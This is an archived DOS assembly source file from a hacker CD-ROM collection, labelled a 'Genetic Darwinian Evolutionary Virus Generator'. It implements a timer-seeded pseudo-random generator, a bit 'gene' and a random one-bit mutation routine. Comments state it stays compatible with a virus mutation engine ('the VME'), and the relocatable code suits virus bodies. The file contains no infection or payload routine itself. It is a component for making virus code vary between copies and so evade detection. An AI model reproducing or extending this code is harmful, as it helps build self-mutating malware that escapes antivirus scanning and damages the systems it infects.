home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / chibacity / gbbdisk.arj / GENETIC / GENE.ASM < prev    next >
Encoding:
Assembly Source File  |  1995-07-11  |  6.8 KB  |  188 lines

  1. ;Genetic Darwinian Evolutionary Virus Generator
  2.  
  3. .model tiny
  4. .code
  5. .386
  6.  
  7.         PUBLIC  INIT_GENE               ;Set up GENE
  8.         PUBLIC  GET_RANDOM              ;Get bits from GENE
  9.         PUBLIC  INIT_GENETIC            ;Initialize genetic subsystem, mutate
  10.  
  11. GSIZE           EQU     100H                    ;gene size
  12.  
  13. ;The generator is defined by the equation
  14. ;
  15. ;              X(N+1) = (A*X(N) + C) mod M
  16. ;
  17. ;where the constants are defined as
  18. ;
  19. M               DD      134217729
  20. A               DD      44739244
  21. C               DD      134217727
  22. RAND_SEED       DD      0
  23. GENE            DB      GSIZE dup (0AFH);GSIZE byte gene
  24. GENE_IDX        DW      0               ;points to current loc in gene (bits)
  25.  
  26. ;Set RAND_SEED up with a random number to seed the pseudo-random number
  27. ;generator. This routine should preserve all registers! it must be totally
  28. ;relocatable!
  29. INIT_GENE       PROC    NEAR
  30.                 push    si
  31.                 push    ds
  32.                 push    dx
  33.                 push    cx
  34.                 push    bx
  35.                 push    ax
  36.                 call    RS1
  37. RS1:            pop     bx
  38.                 sub     bx,OFFSET RS1
  39.                 xor     ax,ax
  40.                 mov     ds,ax
  41.                 mov     si,46CH
  42.                 lodsd
  43.                 xor     edx,edx
  44.                 mov     ecx,M
  45.                 div     ecx
  46.                 push    cs
  47.                 pop     ds
  48.                 mov     [bx][RAND_SEED],edx             ;set seed
  49.                 in      al,40H                          ;randomize high byte
  50.                 mov     BYTE PTR [bx][RAND_SEED+3],al   ;a bit more
  51.                 mov     si,OFFSET GENE
  52.                 mov     cx,GSIZE
  53. RSLOOP:         call    GET_RAND                        ;initialize GENE
  54.                 mov     [bx][si],al                     ;with random numbers
  55.                 inc     si
  56.                 loop    RSLOOP
  57.                 pop     ax
  58.                 pop     bx
  59.                 pop     cx
  60.                 pop     dx
  61.                 pop     ds
  62.                 pop     si
  63.                 retn
  64.  
  65. INIT_GENE       ENDP
  66.  
  67. ;Create a pseudo-random number and put it in ax.
  68. GET_RAND:
  69.                 push    bx
  70.                 push    cx
  71.                 push    dx
  72.                 call    GR1
  73. GR1:            pop     bx
  74.                 sub     bx,OFFSET GR1
  75.                 mov     eax,[bx][RAND_SEED]
  76.                 mov     ecx,[bx][A]                         ;multiply
  77.                 mul     ecx
  78.                 add     eax,[bx][C]                         ;add
  79.                 adc     edx,0
  80.                 mov     ecx,[bx][M]
  81.                 div     ecx                                 ;divide
  82.                 mov     eax,edx                             ;remainder in ax
  83.                 mov     [bx][RAND_SEED],eax                 ;and save for next round
  84.                 pop     dx
  85.                 pop     cx
  86.                 pop     bx
  87.                 retn
  88.  
  89. ;This is passed the number of bits to get from the gene in al, and it returns
  90. ;those genetic bits in ax. Maximum number returned is 16. The only reason this
  91. ;is called GET_RANDOM is to maintain compatibility with the VME. It must preserve
  92. ;all registers except ax.
  93. GET_RANDOM      PROC    NEAR
  94.                 push    bx
  95.                 push    cx
  96.                 push    dx
  97.                 push    si
  98.                 call    GRM1
  99. GRM1:           pop     bx
  100.                 sub     bx,OFFSET GRM1
  101.                 mov     dl,al
  102.                 mov     ax,[bx][GENE_IDX]
  103.                 mov     cl,al
  104.                 and     cl,7                    ;cl=bit index
  105.                 shr     ax,3                    ;ax=byte index
  106.                 mov     si,OFFSET GENE
  107.                 add     si,ax                   ;si --> byte in gene
  108.                 mov     eax,[bx][si]            ;get requested bits in eax
  109.                 shr     eax,cl                  ;and maybe some more (now in ax)
  110.                 xor     dh,dh
  111.                 add     [bx][GENE_IDX],dx       ;update index
  112.                 cmp     [bx][GENE_IDX],8*GSIZE - 16 ;too big?
  113.                 jc      GRM2                    ;nope
  114.                 mov     [bx][GENE_IDX],0        ;else adjust by looping
  115. GRM2:           mov     cx,dx
  116.                 push    cx
  117.                 ror     eax,cl                  ;put wanted bits high
  118.                 and     eax,0FFFF0000H          ;mask unwanted bits
  119.                 pop     cx
  120.                 rol     eax,cl                  ;put wanted back to ax
  121.                 pop     si
  122.                 pop     dx
  123.                 pop     cx
  124.                 pop     bx
  125.                 ret
  126.  
  127. GET_RANDOM      ENDP
  128.  
  129. INIT_GENETIC    PROC    NEAR
  130.                 push    bx
  131.                 call    IG1
  132. IG1:            pop     bx
  133.                 sub     bx,OFFSET IG1
  134.                 mov     [bx][GENE_IDX],0                ;initialize ptr into GENE
  135.                 call    MUTATE                          ;mutate the gene
  136.                 pop     bx
  137.                 ret
  138.  
  139. INIT_GENETIC    ENDP
  140.  
  141. ;The following generates a random 1-bit mutation at the rate specified in
  142. ;MUT_RATE.
  143.  
  144. MUT_RATE        DB      100H / 2                        ;one in 2 mutation rate
  145.  
  146. MUTATE:
  147.                 push    ax
  148.                 push    bx
  149.                 call    MUT1
  150. MUT1:           pop     bx
  151.                 sub     bx,OFFSET MUT1
  152.                 in      al,40H                          ;get a random byte
  153.                 cmp     [bx][MUT_RATE],al               ;should we mutate
  154.                 jc      MUTR                            ;nope, just exit
  155.                 push    cx
  156.                 push    dx
  157.                 push    si
  158.                 push    ds
  159.                 xor     ax,ax
  160.                 mov     ds,ax
  161.                 mov     si,46CH                         ;get time
  162.                 lodsd
  163.                 pop     ds
  164.                 mov     [bx][RAND_SEED],eax             ;seed rand # generator
  165.                 call    GET_RAND
  166.                 mov     cx,8*GSIZE
  167.                 xor     dx,dx
  168.                 div     cx
  169.                 mov     ax,dx
  170.                 mov     cx,8
  171.                 xor     dx,dx
  172.                 div     cx                              ;ax=byte to toggle, dx=bit
  173.                 mov     cl,dl
  174.                 dec     cl                              ;cl=bits to rotate
  175.                 mov     si,ax
  176.                 add     si,OFFSET GENE                  ;byte to toggle
  177.                 mov     al,1
  178.                 shl     al,cl
  179.                 xor     [bx][si],al                     ;toggle it
  180.                 pop     si
  181.                 pop     dx
  182.                 pop     cx
  183. MUTR:           pop     bx
  184.                 pop     ax
  185.                 ret
  186.  
  187.                 END
  188.